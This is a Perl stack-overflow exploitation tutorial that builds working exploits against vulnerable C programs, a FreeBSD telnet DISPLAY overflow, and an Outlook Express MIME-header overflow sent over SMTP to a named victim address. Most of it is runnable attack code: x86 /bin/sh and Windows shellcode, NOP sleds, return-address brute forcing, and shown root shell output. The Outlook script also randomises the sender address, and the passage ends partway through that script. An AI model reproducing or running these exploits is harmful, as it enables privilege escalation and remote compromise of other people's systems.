Stack Exploit Coding - A PERL perspective dethy@synnergy.net Introduction PERL stack buffer overflow exploits aren't as well explored as C exploits when it comes to munging the stack. This brief paper will outline ways PERL can be used to create a working exploit with greater ease than standard C based exploits. Afterall PERL was developed for data manipulation, why not put it to use ? ;) Overview Let's begin with a simple and common example. -- vuln.c -- #include int main(int argc, char **argv) { char buffer[180]; if(argc>1) strcpy(buffer,argv[1]); printf("got data!\n"); } -- end vuln.c -- The overflow is obvious. A direct copy without any boundary checks into 'buffer' allows an overflow to take form, and potentially overwrite the EIP memory address. [ dethy@fw ~ ]$ gcc -o vuln vuln.c [ dethy@fw ~ ]$ ./vuln A got data! okay. Nothing great here. Let's increase our input data. [dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'` got data! Segmentation fault(core dump) Looks like we've overflowed the buffer, but have we overwritten the EIP to modify program execution later on? It's important to remember that memory is a 4 byte address held in 1 byte char. Example: | 83 | -- | 84 | -- 4 bytes of data store 1 memory address | 85 | -- | 86 | -- | 87 | -- | 88 | -- another 4 bytes for the next address | 89 | -- | 90 | -- Let's get back to the snapshot of the memory image we forced the program to dump. [ dethy@fw ~ ]$ gdb vuln core --quiet Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x40033a1e in __libc_start_main () from /lib/libc.so.6 (gdb) info reg eax 0x400ff0d8 1074786520 ecx 0xbffff910 -1073743600 edx 0x1 1 ebx 0x400ffed4 1074790100 esp 0xbffff908 0xbffff908 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x40033a1e 0x40033a1e eflags 0x10292 66194 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 Important registers we're primarily concerned with: * esp - extended stack pointer * ebp - extended base pointer * eip - extended instruction pointer As we can see, EIP didn't get overwritten but EBP did. Now we know the memory layout looks like this: __|__ | | | EBP | - 4 byte address |_____| __|__ | | | EIP | - next 4 byte address |_____| so wisely we know if we add an extra 4 bytes of data to our input string ie ./vuln `perl -e 'print "A"x88'` we will completey overwrite the instruction pointer(eip). [ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'` got data! Segmentation fault (core dumped) [ dethy@fw ~ ]$ gdb vuln core --quiet Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg eax 0xa 10 ecx 0x40014000 1073823744 edx 0x400fe660 1074783840 ebx 0x400ffed4 1074790100 esp 0xbffff910 0xbffff910 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 Our prediction is correct. The 0x41 is the hex equivalent of "A", a complete overwrite was successful. our buffer looked like this: EIP ______|_______ / | | \ 187 188 189 190 A A A A -> our input data 41 41 41 41 -> hex address( 41414141 ) Now how do we create the exploit ? First step is to take the ESP value, in this instance it was 0xbffff910. Create the shellcode to execute a /bin/sh shell, and fill the $buf with the length of the data we used to overwrite EIP, and $ret with the ESP value. -- exp.pl -- #!/usr/bin/perl $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; $ret = 0xbffffaa0; $buf = 188; $egg = 2000; $nop = "\x90"; $offset = 0; if (@ARGV == 1) { $offset = $ARGV[0]; } $addr = pack('l', ($ret + $offset)); for ($i = 0; $i < $buf; $i += 4) { $buffer .= $addr; } for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; exec("./vuln", $buffer,0); -- end exp.pl -- [ dethy@fw ~ ]$ perl exp.pl got data! Illegal instruction Ouch. Looks like we're just off from getting that /bin/sh shell. Now, let's bring $offset into play to use as a range of where our shellcode may be stored in memory. Run the following script to obtain the correct offset required to bust a shell. ;) #!/usr/bin/perl for($i=-2000;$i<2000;$i++) { print("trying offset: $i\n"); system("ulimit -c 0;./exp.pl $i"); } [ dethy@fw ~ ]$ perl brute.pl trying offset: -2000 got data! trying offset: -1999 got data! .. trying offset: 100 bash# (of course if the program were suid it would drop us to root, for the purpose of this tutorial I made the vulnerable program setuid root). So offset 100 is where our payload is. Let's add this to the initial exp.pl [ dethy@fw ~ ]$ id uid=511(dethy) gid=100(users) groups=100(users) [ dethy@fw ~ ]$ ./exp.pl 100 got data! bash# id uid=0(root) gid=100(users) egid=0(root) groups=100(users) bingo. As is displayed we found the /bin/sh address in memory. Of careful not is to recognise that the above exploit made an $egg and filled the buffer containing NOPS + SHELLCODE + RET outside the vulnerable buffer. That means, we created the payload in another buffer, since the original may have been slightly too small for our needs. Now for an example of an environment variable overflow, as opposed to command line input argument overflow. -- vuln2.c -- #include main() { char buffer[1024]; if (getenv("USER") == NULL) { fprintf(stderr, "Oops!\n"); exit(1); } strcpy(buffer, (char *)getenv("USER")); printf("Environment variable USER is:\"%s\".\n", buffer); return 1;} -- end vuln2.c -- an excessively long USER environment variable will be copied unchecked into the buffer which has a 1024 char limit. With this given knowledge let's bring some practically into play. [ dethy@fw ~ ]$ ./vuln2 Environment variable USER is: "dethy". [ dethy@fw ~ ]$ Assumed: 1025 1026 1027 1028 would be the address of EBP 1029 1030 1031 1032 would be the EIP So once against 1032 char string for the USER environment variable would overwrite EIP. [ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'` [ dethy@fw ~ ]$ ./vuln2 Environment variable USER is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Segmentation fault (core dumped) [ dethy@fw ~ ]$ gdb vuln2 core --quiet (no debugging symbols found)...Core was generated by `./vuln2'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info reg esp esp 0x7ffff8e0 0x7ffff8e0 the esp address will be the address to use in our exploit, so let's create it. The aformentioned exp.pl exploit was an example of making the payload outside the buffer (first demonstrated by the infamous aleph1). Now, since this vulnerable buffer is large enough to pad with our shellcode we will fill this buffer with our payload, inside the buffer itself. -- exp2.pl -- #!/usr/bin/perl $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" . "\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" . "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; $buf = 1032; $ret = 0x7ffff8e0; $nop = "\x90"; $offset = -96; # worked for me if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; $addr = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $buf; $i += 4) { $buffer .= $addr; } $ENV{'USER'} = $buffer; exec("./vuln2"); -- end exp2.pl -- Environment variable USER is: " 1À1Û°øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ€øÿ". bash# Another important concept to remember is that offset guessing can be avoided by deleting all the values from the environment. Example: foreach $key (keys %ENV) { delete $ENV{$key}; } Of course this scenario blooms in an environment overflow such as the getenv() overflow described above. -- telnetex.pl -- $egg = "\x90" x 1500; # FreeBSD x86 shellcode $egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" . "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" . "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" . "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" . "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" . "\x02\x02\x02/bin/sh.-c.sh"; foreach $key (keys %ENV) { delete $ENV{$key}; } for ($i = 0; $i < 100; $i++) { $buf .= "\x01\xda\xbf\xbf"; } $ENV{"DISPLAY"} = $buf; $ENV{"egg"} = $egg; system("/usr/bin/telnet localhost"); -- end telnetex.pl -- In the above example displays a different coding style. The $egg appends the NOPS (\x90) and shellcode via PERLs concatentation implementation ( .= ) The $buf is loaded backwards (how the system manually processes the address), \x01\xda\xbf\xbf = 0xbfbfda01 The DISPLAY variable is then stored with this value, and when telnet negotiaties client/server transactions the DISPLAY is run pointing to the $egg in memory, where our shellcode is stored. Why create $egg at all, and append the payload to $buf? In many instances the buffer we are overflowing does not hold enough space for us to load and store our shellcode in (local buffer overflows). To avoid this problem with small buffers, we create an $egg and set it as an environment variable. $egg is without size limitations thus can be as big or small as you want it to be for your shellcode storage. All that is required is to the point the $ret to the address of where the $egg is stored and the shellcode will be executed from there. Only a few bytes is required to store the $ret address in the buffer avoiding several problems aswell. ;) The next Proof of Concept example was an exploit I created for UssrLabs that spawned a IE browser on the victims machine. The foundation of this exploit relies on MIME header overflow in OutLook Express 4.X and 98. -- outoutlook.pl -- #!/usr/bin/perl # # Arbitary shellcode injector over SMTP exploits Microsoft Outlook. # ./$0 -h -m # ./dieoutlook.pl -h hostname -m victim@address # # By: dethy June 2000 # use Getopt::Std; use Socket; getopt('h:m', \%args); if(defined($args{h})){$serv=$args{h}}else{&usage;} if(defined($args{m})){$rcpt=$args{m}}else{&usage;} # this data created the overflow $spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" . "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" . "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" . "\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a"; # Windows x86 shellcode $shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" . "\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" . "\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" . "\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" . "\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" . "\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" . "\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" . "\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" . "\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" . "\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" . "\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" . "\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" . "\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" . "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" . "\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" . "\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" . "\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" . "\x6B\x2E\x63\x6F\x6D\x00"; $ret = 00aedc5a; # return address $nop = "\x90"; # x86 NOP $port = 25; # default 25 SMTP port $buffsize = 1348; # buffer size $buffer .= $nop x 945; # load $buffer with 945 NOP then $shellcode $buffer .= $shellcode; # append shellcode to buffer $offset = (hex $ret); # return hex string to corresponding value $code = pack("l", $offset); # signed long order while (length $buffer < $buffsize) { $buffer .= $code; } $buffer .= "\n\n"; print "$code\n"; # create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ] $max=(int rand 15); @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] } @a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] } @dom = ('.com', '.net', '.org'); $rdom = $dom[ rand @dom ]; $rmail = $str . "@" . $host . $dom; print "random address set to: $rmail\n"; # random date method, format: Date: , 2000